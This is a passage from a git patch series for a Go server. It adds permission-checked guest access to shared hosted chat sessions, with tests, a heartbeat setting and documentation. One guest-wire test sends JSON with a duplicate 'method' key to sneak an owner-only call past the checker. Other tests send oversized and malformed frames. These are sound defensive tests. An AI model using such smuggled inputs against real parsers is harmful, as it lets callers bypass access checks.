httptest.NewServer(rg.h) + defer srv.Close() + for _, person := range []string{"abir", "mia"} { + t.Run(person, func(t *testing.T) { + client, host := guestConnect(t, srv, opened, rg.tokens[person], chat) + classes := maps.Clone(hostedGuestMethods) + classes["Future.Method"] = "owner" + id := 0 + for _, method := range slices.Sorted(maps.Keys(classes)) { + class := classes[method] + id++ + guestWrite(t, client, guestCall(id, method)) + words := guestOwnerWords + switch class { + case "view": + words = "" + case "run", "steer", "answer": + words = "" + if person == "abir" { + words = map[string]string{"run": guestRunWords, "steer": guestSteerWords, "answer": guestAnswerWords}[class] + } + } + if words != "" { + guestRefusal(t, client, id, words) + } else if got := guestHostLine(t, host); got != guestCall(id, method) { + t.Fatalf("host received %q for %s", got, method) + } + } + + guestWrite(t, client, `{"method":"Close","kind":"call","id":900,"method":"Transcript"}`+"\n") + if got := guestHostLine(t, host); got != guestCall(900, "Transcript") { + t.Fatalf("the host received unchecked bytes: %q", got) + } + guestWrite(t, client, `{"method":"Transcript","kind":"call","id":901,"method":"Close"}`+"\n") + guestRefusal(t, client, 901, guestOwnerWords) + _ = client.CloseNow() + if raw, ok := guestReceive(t, host.incoming); ok { + t.Fatalf("a refused call reached the engine: %q", raw) + } + }) + } +} + +// P2-5 +// Invalid input closes the pump with one plain fatal line before any invalid frame reaches the host. +func TestP2_5_GuestInvalidInputClosesTheWire(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + for _, tc := range []struct { + name, input string + afterHello bool + }{ + {"call before hello", guestCall(1, "Ping"), false}, + {"hello without an object", "{\"kind\":\"hello\",\"payload\":null}\n", false}, + {"second hello", guestTestHello, true}, + {"bad JSON", "{\n", true}, + {"blank method", guestCall(1, " "), true}, + {"line over 256 KiB", strings.Repeat(" ", 256<<10) + "\n", true}, + {"oversized line without a newline", strings.Repeat(" ", (256<<10)+1), true}, + } { + t.Run(tc.name, func(t *testing.T) { + var client *websocket.Conn + var host guestHostWire + if tc.afterHello { + client, host = guestConnect(t, srv, opened, rg.tokens["abir"], chat) + } else { + client = guestDial(t, srv, rg.tokens["abir"], chat) + host, _ = guestReceive(t, opened) + } + guestWrite(t, client, tc.input) + frame := guestFrame(t, guestRead(t, client, 5*time.Second)) + if frame.Kind != "fatal" || frame.Error == "" { + t.Fatalf("expected a fatal line, got %+v", frame) + } + guestClosed(t, client, host, 5*time.Second) + }) + } +} + +// P2-5 +// A policy change removes verbs from the current connection, and a grant revocation closes it. +func TestP2_5_GuestHeartbeatRefreshesVerbsAndRevokesAccess(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + grant := hostedGrant(t, rg, "santosh", chat, "abir", "edit") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + client, host := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + for id, method := range []string{"Submit", "Steer", "ResolveQuestion"} { + line := guestCall(id+1, method) + guestWrite(t, client, line) + if got := guestHostLine(t, host); got != line { + t.Fatalf("host received %q, want %q", got, line) + } + } + rg.setAccessPolicy(t, func(p *acl.Policy) { + for i := range p.Roles { + if p.Roles[i].Name == "edit" { + p.Roles[i].Verbs = slices.DeleteFunc(p.Roles[i].Verbs, func(v string) bool { + return v == "run" || v == "steer" + }) + } + } + }) + // Two ticks allow a check already running when the policy was saved to finish. + time.Sleep(2 * guestTestHeartbeat) + guestWrite(t, client, guestCall(5, "Submit")) + guestRefusal(t, client, 5, guestRunWords) + guestWrite(t, client, guestCall(6, "Steer")) + guestRefusal(t, client, 6, guestSteerWords) + guestWrite(t, client, guestCall(7, "ResolveQuestion")) + if got := guestHostLine(t, host); got != guestCall(7, "ResolveQuestion") { + t.Fatalf("host received %q for a verb the guest kept", got) + } + + rg.do(t, "santosh", http.MethodDelete, "/v1/resources/session/"+chat+"/grants/"+grant.ID, -1, nil, http.StatusNoContent, nil) + guestAccessRemoved(t, client, host) +} + +func guestAccessRemoved(t *testing.T, client *websocket.Conn, host guestHostWire) { + t.Helper() + deadline := time.Now().Add(3 * guestTestHeartbeat) + if got := guestRead(t, client, 3*guestTestHeartbeat); got != `{"kind":"fatal","error":"`+guestRemovedWords+`"}`+"\n" { + t.Fatalf("access removal = %q", got) + } + guestClosed(t, client, host, time.Until(deadline)) +} + +// P2-5 +// Closing the organization handler closes every guest wire on both sides. +func TestP2_5_HostedShutdownClosesGuestWires(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + first, firstHost := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + second, secondHost := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + rg.h.Close() + guestClosed(t, first, firstHost, 5*time.Second) + guestClosed(t, second, secondHost, 5*time.Second) +} diff --git a/internal/factory/serve/hosted_p2_test.go b/internal/factory/serve/hosted_p2_test.go index b8d70a5df6..10ba727972 100644 --- a/internal/factory/serve/hosted_p2_test.go +++ b/internal/factory/serve/hosted_p2_test.go @@ -116,7 +116,7 @@ func TestP2_2_HostedListKeepsOwnRowsAndLimitsSharedMetadata(t *testing.T) { t.Helper() var out listing rg.do(t, who, http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &out) - if !reflect.DeepEqual(out.Hosting, map[string]string{"local_sessions": "warn"}) || out.Shared == nil { + if !reflect.DeepEqual(out.Hosting, map[string]string{"local_sessions": "warn", "words": acl.HostingWarnWords}) || out.Shared == nil { t.Fatalf("list for %s = %+v", who, out) } return out @@ -368,15 +368,19 @@ func TestP2_4_HostedWireClassUsesCurrentVerbsWithoutOperator(t *testing.T) { }) } before := rg.host.count() - for _, who := range []string{"abir", "owner"} { - w := rg.send(who, http.MethodGet, hostedSessionsPath+"/"+chat+"/wire", nil, nil) - if w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { - t.Fatalf("wire as %s = %d %s", who, w.Code, w.Body) - } + w := rg.send("owner", http.MethodGet, hostedSessionsPath+"/"+chat+"/wire", nil, nil) + if w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Fatalf("operator wire = %d %s", w.Code, w.Body) } if got := rg.host.count(); got != before { - t.Fatalf("guest stub or operator called the owner wire: %d requests", got-before) + t.Fatalf("operator called the owner wire: %d requests", got-before) } + opened := recordGuestHostWires(rg) + srv := httptest.NewServer(rg.h) + defer srv.Close() + client, _ := guestConnect(t, srv, opened, rg.tokens["abir"], chat) + guestWrite(t, client, guestCall(1, "SetModel")) + guestRefusal(t, client, 1, guestOwnerWords) } // P2-7 diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index b12b7b0729..0544730772 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -48,6 +48,8 @@ type HostedConfig struct { // refused, in dollars; zero means the default of $5.00 // (CODEAF_HOSTED_SESSION_CAP_USD). SessionCapUSD float64 + // Heartbeat is how often a guest wire checks access. Zero uses DefaultHostedHeartbeat. + Heartbeat time.Duration // CompleterFor builds the funnel one call on a model goes out through, for // an upstream address and a key. Nil keeps the pass-through of P0 for // chat completions (the unmetered road a server without the model road has). @@ -103,6 +105,11 @@ type hostedState struct { // The model door and wire may record or read the current asker concurrently. askerMu sync.RWMutex askers map[string]string + // Guest wires are hijacked, so the handler closes them during its own shutdown. + guestMu sync.Mutex + guests map[*hostedGuest]struct{} + guestsClosed bool + guestWG sync.WaitGroup } func (hs *hostedState) noteAsker(id, person string) { @@ -410,11 +417,17 @@ func (h *Handler) hostedList(w http.ResponseWriter, r *http.Request) { if !ok { return } + policy := v.acc.rules().Hosting h.write(w, http.StatusOK, struct { hostedSessionsList Shared []hostedSharedRow `json:"shared"` - Hosting acl.Hosting `json:"hosting"` - }{own, shared, acl.Hosting{LocalSessions: v.acc.rules().Hosting.LocalSessionsFor(true)}}) + Hosting hostedListPolicy `json:"hosting"` + }{own, shared, hostedListPolicy{LocalSessions: policy.LocalSessionsFor(true), Words: policy.Words(true)}}) +} + +type hostedListPolicy struct { + LocalSessions string `json:"local_sessions"` + Words string `json:"words,omitempty"` } func (h *Handler) hostedGet(w http.ResponseWriter, r *http.Request) { @@ -464,7 +477,7 @@ func (h *Handler) hostedGet(w http.ResponseWriter, r *http.Request) { // can never name a chat into existence or onto someone else's folder. func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { v, ok := h.hostedViewer(w, r) - if !ok { + if !ok || !h.mayCreateResource(w, v) { return } st := h.config.Store @@ -662,6 +675,10 @@ func (h *Handler) hostedWire(w http.ResponseWriter, r *http.Request) { if res.StatusCode == http.StatusConflict { hs.bearers.revokeFor(id, person) } + if res.StatusCode == http.StatusSwitchingProtocols { + // Only an accepted attach clears the previous guest's attribution. + hs.noteAsker(id, person) + } return nil }, ErrorHandler: func(w http.ResponseWriter, _ *http.Request, _ error) { diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go index abce96a709..1a416e22fa 100644 --- a/internal/factory/serve/hosted_proxy_test.go +++ b/internal/factory/serve/hosted_proxy_test.go @@ -31,6 +31,8 @@ type fakeChatHost struct { // bearer fingerprint instead of the truth: a host that restarts between the // org's read of the row and the wire. rowBearer map[string]string + // A wire test can replace the echo with a recording engine after the host's usual admission. + wire func(*websocket.Conn, *http.Request) } type hostSeen struct { @@ -180,6 +182,7 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { case len(parts) == 2 && parts[1] == "wire" && r.Method == http.MethodGet: f.mu.Lock() held := f.tokens[id] + wire := f.wire f.mu.Unlock() if held == "" { w.Header().Set("Content-Type", "application/json") @@ -191,7 +194,12 @@ func (f *fakeChatHost) ServeHTTP(w http.ResponseWriter, r *http.Request) { if err != nil { return } + defer c.CloseNow() c.SetReadLimit(4 << 20) + if wire != nil { + wire(c, r) + return + } for { kind, data, err := c.Read(r.Context()) if err != nil { @@ -756,7 +764,10 @@ func TestC9_PlainWords(t *testing.T) { {"path out of the upstream", "", "GET", "/v1/model/../../x", bearerOf(token), 404}, {"malformed id", "santosh", "GET", "/v1/hosted/sessions/hs_nope", nil, 404}, }) - // A caller the server lets in without a verified person (this machine). + // A caller the server lets in without a verified person (this machine). The server no longer trusts its own computer by default + // (loopback_trust), so the test turns that on to keep checking the hosted sentence, and then checks the refusal without it. + trust := true + rg.h.config.LoopbackTrust = &trust own := httptest.NewRequest("GET", "/v1/hosted/sessions", nil) own.RemoteAddr = "127.0.0.1:9" w := httptest.NewRecorder() @@ -764,6 +775,14 @@ func TestC9_PlainWords(t *testing.T) { if w.Code != 401 || !strings.HasSuffix(errorOf(t, w.Body.Bytes()), ".") { t.Fatalf("no verified person = %d %s", w.Code, w.Body) } + trust = false + untrusted := httptest.NewRequest("GET", "/v1/hosted/sessions", nil) + untrusted.RemoteAddr = "127.0.0.1:9" + w = httptest.NewRecorder() + rg.h.ServeHTTP(w, untrusted) + if w.Code != 401 { + t.Fatalf("this machine without loopback trust = %d %s; want 401", w.Code, w.Body) + } big := httptest.NewRequest("POST", "/v1/model/chat/completions", strings.NewReader("{}")) big.RemoteAddr, big.ContentLength = "192.0.2.1:1", 17<<20 big.Header.Set("Authorization", "Bearer "+token) diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index 5e95070d95..e1df84423f 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -483,6 +483,7 @@ func (h *Handler) root(w http.ResponseWriter, r *http.Request) { // a change after Close is not delivered. func (h *Handler) Close() { if h != nil { + h.closeHostedGuests() h.closeHostedModels() h.closeGrantSweep() h.closeOrders() From ec4ed60c8062cfb8b5471a49e516f1bebbe15d56 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:34 -0500 Subject: [PATCH 066/176] hosted P2: the key-route sign-in test turns loopback trust on, and pins the refusal without it Since the organization server stopped trusting its own computer by default, a request from this machine with no credential is refused before it reaches the key routes. TestP1_5_KeyRoutesNeedASignIn still checks what it is about (a caller the server lets in without a verified person gets the sign-in sentence) with the trust on, and now also pins that the same request with the trust off is a 401. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_p1_test.go | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/internal/factory/serve/hosted_p1_test.go b/internal/factory/serve/hosted_p1_test.go index d9a56e4e3b..9617fa1c42 100644 --- a/internal/factory/serve/hosted_p1_test.go +++ b/internal/factory/serve/hosted_p1_test.go @@ -437,6 +437,11 @@ func TestP1_5_NoServerKeyMeansOwnKeysAreRefusedWithASentence(t *testing.T) { func TestP1_5_KeyRoutesNeedASignIn(t *testing.T) { rg := newHostedRig(t) rg.withServerKey(t, rigServerKey) + // Since the organization server stopped trusting its own computer by default (loopback_trust), a request from this machine with no + // credential is refused before it reaches the key routes. The test turns that trust on so it still checks what it is about: a caller the + // server lets in without a verified person gets the sign-in sentence. The refusal without the trust is pinned just below. + trust := true + rg.h.config.LoopbackTrust = &trust as := func(remote, auth, method, path string) *httptest.ResponseRecorder { r := httptest.NewRequest(method, path, strings.NewReader(`{"key":"sk-test-santosh-0001-aaaa"}`)) r.RemoteAddr = remote @@ -459,6 +464,10 @@ func TestP1_5_KeyRoutesNeedASignIn(t *testing.T) { } } } + trust = false + if w := as("127.0.0.1:9", "", "GET", "/v1/hosted/keys"); w.Code != 401 { + t.Fatalf("this machine without loopback trust = %d %s; want 401", w.Code, w.Body) + } if _, err := os.Stat(rg.file("person-keys.json")); !os.IsNotExist(err) { t.Fatalf("a refused request stored something: %v", err) } From ed251cddb98f4e2b1397ae88bac17ca991f5a32d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:34 -0500 Subject: [PATCH 067/176] hosted P2: the operator can set how often a guest window re-checks its access CODEAF_HOSTED_HEARTBEAT takes a duration from 1s to 1m and defaults to 5s. A value outside that range stops the server at start with one plain sentence instead of running with a heartbeat nobody chose. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/factory_command.go | 15 +++++++++++- cmd/codeaf/factory_hosted_model_test.go | 32 +++++++++++++++++++++++++ 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/cmd/codeaf/factory_command.go b/cmd/codeaf/factory_command.go index 69879ad706..909e1eac15 100644 --- a/cmd/codeaf/factory_command.go +++ b/cmd/codeaf/factory_command.go @@ -305,7 +305,7 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam return nil, err } if hosted != nil { - if err := hostedP1Settings(hosted, st, env.Get); err != nil { + if err := hostedFactorySettings(hosted, st, env.Get); err != nil { return nil, err } } @@ -401,6 +401,19 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam return s, nil } +// The hosted settings are checked before the organization server starts accepting connections. +func hostedFactorySettings(hosted *serve.HostedConfig, st *store.Store, get func(string) string) error { + hosted.Heartbeat = serve.DefaultHostedHeartbeat + if raw := strings.TrimSpace(get("CODEAF_HOSTED_HEARTBEAT")); raw != "" { + interval, err := time.ParseDuration(raw) + if err != nil || interval < time.Second || interval > time.Minute { + return errors.New("CODEAF_HOSTED_HEARTBEAT must be a duration from 1s to 1m, such as 5s") + } + hosted.Heartbeat = interval + } + return hostedP1Settings(hosted, st, get) +} + // serveTLS serves HTTPS on the public listener, and answers the plain-HTTP // local listener it opens in its place for serve.json. // diff --git a/cmd/codeaf/factory_hosted_model_test.go b/cmd/codeaf/factory_hosted_model_test.go index 3699587560..55f795cc62 100644 --- a/cmd/codeaf/factory_hosted_model_test.go +++ b/cmd/codeaf/factory_hosted_model_test.go @@ -12,6 +12,7 @@ import ( "strings" "sync" "testing" + "time" "github.com/Agent-Field/agentfield/sdk/go/ai" "github.com/Agent-Field/codeaf/internal/calllog" @@ -126,3 +127,34 @@ func TestP1_HostedSettingsReadFromTheEnvironment(t *testing.T) { } } } + +// P2-5 +// The factory reads a hosted heartbeat from one second through one minute and refuses unusable values at start. +func TestP2_HostedHeartbeatSetting(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + for _, tc := range []struct { + value string + want time.Duration + }{ + {"", 5 * time.Second}, {" 1500ms ", 1500 * time.Millisecond}, + {"1s", time.Second}, {"1m", time.Minute}, + {"zero", 0}, {"999ms", 0}, {"1m1ns", 0}, {"-5s", 0}, {"0", 0}, + } { + t.Run(tc.value, func(t *testing.T) { + hosted := &serve.HostedConfig{} + err := hostedFactorySettings(hosted, nil, func(name string) string { + if name == "CODEAF_HOSTED_HEARTBEAT" { + return tc.value + } + return "" + }) + if tc.want == 0 { + if err == nil || !strings.Contains(err.Error(), "CODEAF_HOSTED_HEARTBEAT") { + t.Fatalf("unusable heartbeat did not stop startup with the setting's name: %v", err) + } + } else if err != nil || hosted.Heartbeat != tc.want { + t.Fatalf("heartbeat = %v, %v, want %v", hosted.Heartbeat, err, tc.want) + } + }) + } +} From 7f27f2eb6fcadc13c8c69447396670921dbb1a30 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 11:42:45 -0500 Subject: [PATCH 068/176] hosted P2: the manual and the deploy guide say who can see, steer and send in a shared chat Private by default and what a refusal reads; what a person with view, steer, answer or run can do and what stays the owner's; that a person you let send messages acts with your GitHub identity, files and spending limits; who pays and how the asker is recorded; why the operator cannot open a chat; bots and chats; and the hosting policy with the plain words for the personal account. New probes keep each question reaching its page. The deploy guide carries the exact refusals, the heartbeat setting and the known keyboard limit: a guest's message waits while the owner's own window holds the keyboard. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 83 ++++++++++++++++++- .../chat/organization-hosted-sessions.md | 54 +++++++++++- internal/manual/chat/organization-sharing.md | 4 +- internal/manual/chat_hosted_test.go | 10 +++ 4 files changed, 143 insertions(+), 8 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index a36ccc9ced..eee4a1fb15 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -167,8 +167,10 @@ because it has to become a different Linux user for every chat. It is built from own home, so closing the client in the middle of a turn loses nothing and the next attach shows the result. A socket path has a hard length ceiling, so `CODEAF_SESSIONHOST_DATA` (default `/chats`) must be short: the sessionhost refuses to start with a folder that leaves no room, and says how many characters it may have. -- **Only the owner can attach.** The organization server names the signed-in person to the sessionhost; - another person's chat answers "There is no such chat.", word for word as an unknown one does. +- **Only the owner drives, and a chat is private until it is shared.** The organization server names the signed-in + person to the sessionhost, which knows only owners, so every call it makes for a chat is made as the chat's owner; + whether someone else may reach the chat at all is decided by the organization's access core first (below, "Sharing, + guests and bots (P2)"). A chat nobody has shared answers "There is no such chat.", word for word as an unknown one does. The five capabilities the container is given (`cap_drop: [ALL]`, then `cap_add`), and why: @@ -215,6 +217,72 @@ organization's. Each of those is a next step, not a hidden property. - **Git.** `CODEAF_HOSTED_GIT_HOSTS` (default `https://github.com`) are the hosts a chat's git reaches through the server. One audit line per operation goes to `hosted-audit.jsonl` (`GET /v1/hosted/audit` shows a person their own). +### Sharing, guests and bots (P2) + +A hosted chat is a `session` resource of the organization's access core, registered when it is made: the owner is +the person who made it (for a bot, the person who made the bot, with `created_by` the bot), and it is **private +unless the policy's default for `session` says otherwise**. The list, the chat's own routes and the event stream +all ask the same core, so another person's list and live updates never carry it, and the operator has no more +right to a private chat than anyone else (the policy's `operator.sees_private` is false by default). + +- **The list.** `GET /v1/hosted/sessions` answers `sessions` (the caller's own chats, the rows P1 gave, so the + client's `--org` pick is unchanged), `shared` (chats of other people the caller may open: `id`, `owner`, `role`, + `access`, `state`, `created`, `last_active`, and nothing about the model access or warnings; the operator's rows, + only for a chat the policy keeps from being private, hold the same without `role` and have `access: operator`) and + `hosting` (`local_sessions`, below). +- **Sharing** is the generic route: `POST /v1/resources/session//grants` with a person, a team or the + organization and a role, and `DELETE .../grants/`. Share, revoke and a change of the policy publish + `resource.changed` events to the audience as it stood before and as it stands after. +- **A guest's wire.** An owner (by handle, holding `run`) is attached by the same byte-for-byte proxy as in P1. + Anyone else who may view the chat gets a wire the organization's server terminates itself: it reads each call the + guest's window sends, checks its method against a table in `internal/factory/serve/hosted_guest_methods.go` and + forwards only what the guest's verbs allow, re-encoded so that what is forwarded is exactly what was checked. + `view` watches and reads; `steer` adds `Steer` and `Interrupt`; `answer` adds `ResolveQuestion`; `run` adds the calls + that put words into the conversation or run a command the chat's own way (`Submit`, `SubmitBash`, `SubmitImage`, + `SubmitFiles`, `FollowUp`, `UnqueueFollowUp`, `ReplaceQuestion`, `Typing`, `Take`); **every other method is the + owner's alone**, whatever role the guest holds. Whether a non-owner may send prompts at all is therefore a policy + edit, not code: the default `edit` and `full` roles hold `run`, `view` and `comment` do not, and taking `run` out of + a role (`PUT /v1/org/policy`) refuses the next prompt of everyone who held it only through that role, within a + heartbeat. The organization-wide default role is `view` (the policy's `org_role`); the generic share route has no default + role, the caller names it. **A person given `run` acts with the owner's GitHub identity, files and spending limits**: the + chat runs in the owner's folder, as the owner's user, with the owner's model access, git access and caps. + The table is an allow-list: a method added to the wire later is owner-only until someone chooses otherwise, and a + test fails until it is classified. A refused call is answered in place with one of four sentences (`This chat is + shared with you. Only its owner can do that.`; `You can watch this chat, but you were not given permission to send + messages in it. Ask its owner.`; `... to steer it. Ask its owner.`; `... to answer its questions. Ask its owner.`) + and never reaches the chat. The guest's hello is rewritten so it cannot launch, resume or take over anything and + does not take the keyboard from the owner on arrival. +- **Access taken away.** Every `CODEAF_HOSTED_HEARTBEAT` (default `5s`, `1s` to `1m`) the server re-reads the + guest's sign-in, the grants and the policy; when the right is gone it writes `Your access to this chat was + removed.` and closes the wire. A role changed in between takes effect on the next call. For a bot the same check + also re-reads that the token is live and that its creator is still on the team. +- **Money.** A guest's attach reaches the chats' machine as the owner and the model access it holds is the owner's, so + every call is the owner's: the owner's own key if stored, the organization's otherwise, against the owner's chat cap + and monthly limit. The spend row also records who last steered or answered through this server in a new `asker` + column (`ALTER TABLE spend ADD COLUMN`, added on first start, harmless on an existing database). It is + approximate by design: a model call is credited to whoever last put words into the chat through this server, and + the owner's own attach puts it back to the owner. Each message a guest sends writes one `kind: "prompt"` line in + the owner's `GET /v1/hosted/audit` (who, never what), and every `git` line carries `asker` when it was not the owner. +- **Bots.** A bot token may use `/v1/hosted/sessions` (and not `/v1/hosted/keys` or `/v1/hosted/git`, which answer + `a bot cannot use this yet`): it makes, lists, opens, stops and deletes exactly what its creator may, narrowed by + its scope, decided again at every request. A bot's chat is owned by the person who made the bot, and `created_by` + records the bot, as for any other thing a bot makes. +- **The hosting policy.** `PUT /v1/org/policy` takes `"hosting": {"local_sessions": "allow|warn|refuse", + "max_session_cost_usd": 0}`. Empty `local_sessions` means `refuse` for an organization that has chats' machine and + `allow` for one that does not; the list reports the value that applies, with `words` to show for `refuse` (that + chats do not start on this computer and that the personal account is the way to work here) and for `warn`. An + organization is its own account in the app, separate from the person's personal one: inside it every chat is + hosted and there is no local escape; switching to the personal account is the escape. A positive `max_session_cost_usd` replaces + `CODEAF_HOSTED_SESSION_CAP_USD` for every chat. Nothing in the client acts on `local_sessions` yet: this release + reports and stores it. + +Known limit of this version: a guest's `Steer` or prompt is refused by the chat itself, in the chat's own words about +the keyboard, while the owner's window holds the keyboard, because the guest's window does not take it on arrival; it +goes through when the owner has no window open, or after the guest sends `Take` (allowed with `run`, and the owner's +window is told). `Interrupt` and `ResolveQuestion` are not affected. A tool-use approval stays the owner's, so a +command that needs one waits for the owner. The proper fix for both is a guest class inside the engine itself, which +is a change to the wire's own protocol and not made here. + ### Turning it on 1. `./setup.sh` writes `CODEAF_HOSTED_SECRET` (64 hex characters, never printed) into `.env`; an `.env` from @@ -244,7 +312,16 @@ is exact to the cent, the monthly and per-chat limits refuse in plain words, a p and sits sealed on disk, clone and push work through the organization with one audit line each and no key or GitHub access in any chat folder, process environment or argument list, a chat's access still works after the organization server restarts and ends the moment the chat is stopped, and the first attach after a restart of the chats' machine -needs no retry. It prints PASS or FAIL per check. A live check against a real provider is the one step it does not do. +needs no retry. P2 adds a third person and a bot: a chat is invisible to others in the list, at every door and on the +event stream until it is shared; a guest with `view` watches the owner's turn live and every message, steer and +command it tries is refused in the exact sentence and never reaches the chat; with `edit` (which holds `run`) its +message reaches the chat, runs as the owner and is recorded against it, it may interrupt a running turn, and the +owner's approvals and settings stay refused; taking `run` out of the role by a policy edit refuses its next message; +taking the access away ends its open window within the heartbeat; +the operator sees only metadata of a chat the policy keeps from being private and never its wire; a bot sees +exactly what its creator sees, starts chats that are its creator's alone, and loses a shared chat the moment its +creator does; the hosting policy is reported, changed only by the operator and refused when it is not one of the +three words. It prints PASS or FAIL per check. A live check against a real provider is the one step it does not do. On Railway the sessionhost is a sixth service from the same image: `CODEAF_ROLE=sessionhost`, a volume at `/chats`, no public domain, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, and on `codeaf` diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 554c0bcc78..940b3e7bf5 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -30,14 +30,62 @@ The chat does not see your computer's files, your keys or your other chats. It s The organization's operator keeps the machine and its disk. See *what can the operator of the server see* for what that means for you. -## can other people on the server see my hosted chats — only you, and anyone else gets `There is no such chat.` +## can other people on the server see my hosted chats — private by default, shared only when you share it, and anyone else gets `There is no such chat.` -Each chat belongs to the person who made it. Another person cannot open it, list it, stop it or delete it, and cannot tell it exists: asking for someone else's chat gets the same answer as asking for one that was never made, `There is no such chat.` +A hosted chat is private to the person who made it, unless the organization's policy makes chats of this kind start otherwise (the policy's default for `session`). A private chat is left out of every other person's list and out of the organization's live updates: nobody else is told it exists, who owns it or what state it is in, and that includes the operator. Someone else who asks for it, to open it, list it, stop it or delete it, gets the same answer as for a chat that was never made, `There is no such chat.` -A chat also cannot see another chat. Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. Files a command leaves in `/tmp` or `/dev/shm`, which every chat on the machine shares, are closed to other chats unless you open them yourself, and a command cannot connect to another chat's local sockets. For the same reason two separate commands of one chat do not reach each other's abstract sockets (a socket whose name starts with `@`); sockets that are files, such as the ones tools keep in a folder, are not affected. That holds between two chats of the same person too. One thing a command can still see is that other chats exist: the folders above a chat are readable so the chat can save its history, which lists their names (a hashed name for each person and a random identifier for each chat) and nothing inside them. +You can share a chat with a person, a team or the whole organization the way you share anything else (`POST /v1/resources/session//grants` with who and a role; see *Sharing*). Once you do, it shows up in that person's `shared` list. Taking the access away takes it off their list again, and cuts them off if they are watching it at that moment: see *what can someone I shared my hosted chat with do*. + +A chat made by a bot belongs to the person who made the bot, is private like any other, and is shown to nobody else until that person shares it. What the operator of the machine could do is a separate matter: see *what can the operator of the server see*. +## can one hosted chat read another chat's files or processes — every chat runs as its own user of the machine + +Every chat runs as a separate user of the machine, in a folder only that user can read or write, so a command in one chat cannot read another chat's files, send it a signal or read its environment. Files a command leaves in `/tmp` or `/dev/shm`, which every chat on the machine shares, are closed to other chats unless you open them yourself, and a command cannot connect to another chat's local sockets. For the same reason two separate commands of one chat do not reach each other's abstract sockets (a socket whose name starts with `@`); sockets that are files, such as the ones tools keep in a folder, are not affected. That holds between two chats of the same person too. One thing a command can still see is that other chats exist: the folders above a chat are readable so the chat can save its history, which lists their names (a hashed name for each person and a random identifier for each chat) and nothing inside them. + +A chat shared with someone else is still this one chat: it runs in its owner's folder as its owner's user, so what a guest does through it cannot reach the guest's own files, and nothing in it is the guest's. + +## what can someone I shared my hosted chat with do — watching, interrupting, answering, sending messages, and what only the owner can do + +A chat shared with you opens with `codeaf chat --org --session hs_...`, and your own chats stay what a bare `--org` opens. What you can do depends on the permissions of the role you were given: + +- **view** (every role has it): watch the chat live and read what has been said and what is running. Anything that would send, change or run something is refused. Sharing means choosing a role, and the access the policy gives everyone in the organization when it makes chats visible is at view. +- **steer**: also interrupt a running turn and change where it is going. +- **answer**: also answer a question the chat is waiting on. +- **run** (the `edit` and `full` roles have it): also send messages, files and images, and run a command the chat's own way, as the chat's owner would. + +Everything else stays with the owner whatever role a person holds: approving a command, changing a setting, opening the chat's files, stopping the chat. A command that needs approval waits for the owner. + +## what happens when I give someone run access to my hosted chat — they act with my GitHub identity, files and spending limits + +**A person you let send messages acts with your GitHub identity, your files and your spending limits.** The chat is yours: its commands run in your folder on the server, as your user, with your model access, and its git goes through your GitHub access, whoever typed the message. What it costs is yours too (see *who pays*), against your chat limit and month. The server notes who asked on each message, on each charge and on each use of your GitHub access, so you can read it afterwards. If you would rather nobody else sends messages, share at view or steer, or ask the operator to take `run` out of the roles in the organization's policy: nothing else needs to change. + +## why was I refused in a shared hosted chat — the sentences, the keyboard and a removed share + +You read `This chat is shared with you. Only its owner can do that.` for what only the owner can do. Sending without the permission reads `You can watch this chat, but you were not given permission to send messages in it. Ask its owner.`, steering without it `You can watch this chat, but you were not given permission to steer it. Ask its owner.`, and answering without it `You can watch this chat, but you were not given permission to answer its questions. Ask its owner.` + +Only one window types at a time. While the owner has the chat open with the keyboard, a message or a redirect from someone else is refused by the chat with its own sentence about the keyboard; taking the keyboard (a person who may send can) moves it to their window and tells the owner's, interrupting and answering are not affected, and a message goes through once the owner has closed their window. + +When the owner takes your access away, or the policy changes so you no longer have it, your window is ended within a few seconds (five unless the operator set another heartbeat) and reads `Your access to this chat was removed.` + +## who pays when someone else is in my hosted chat — it runs as the owner, 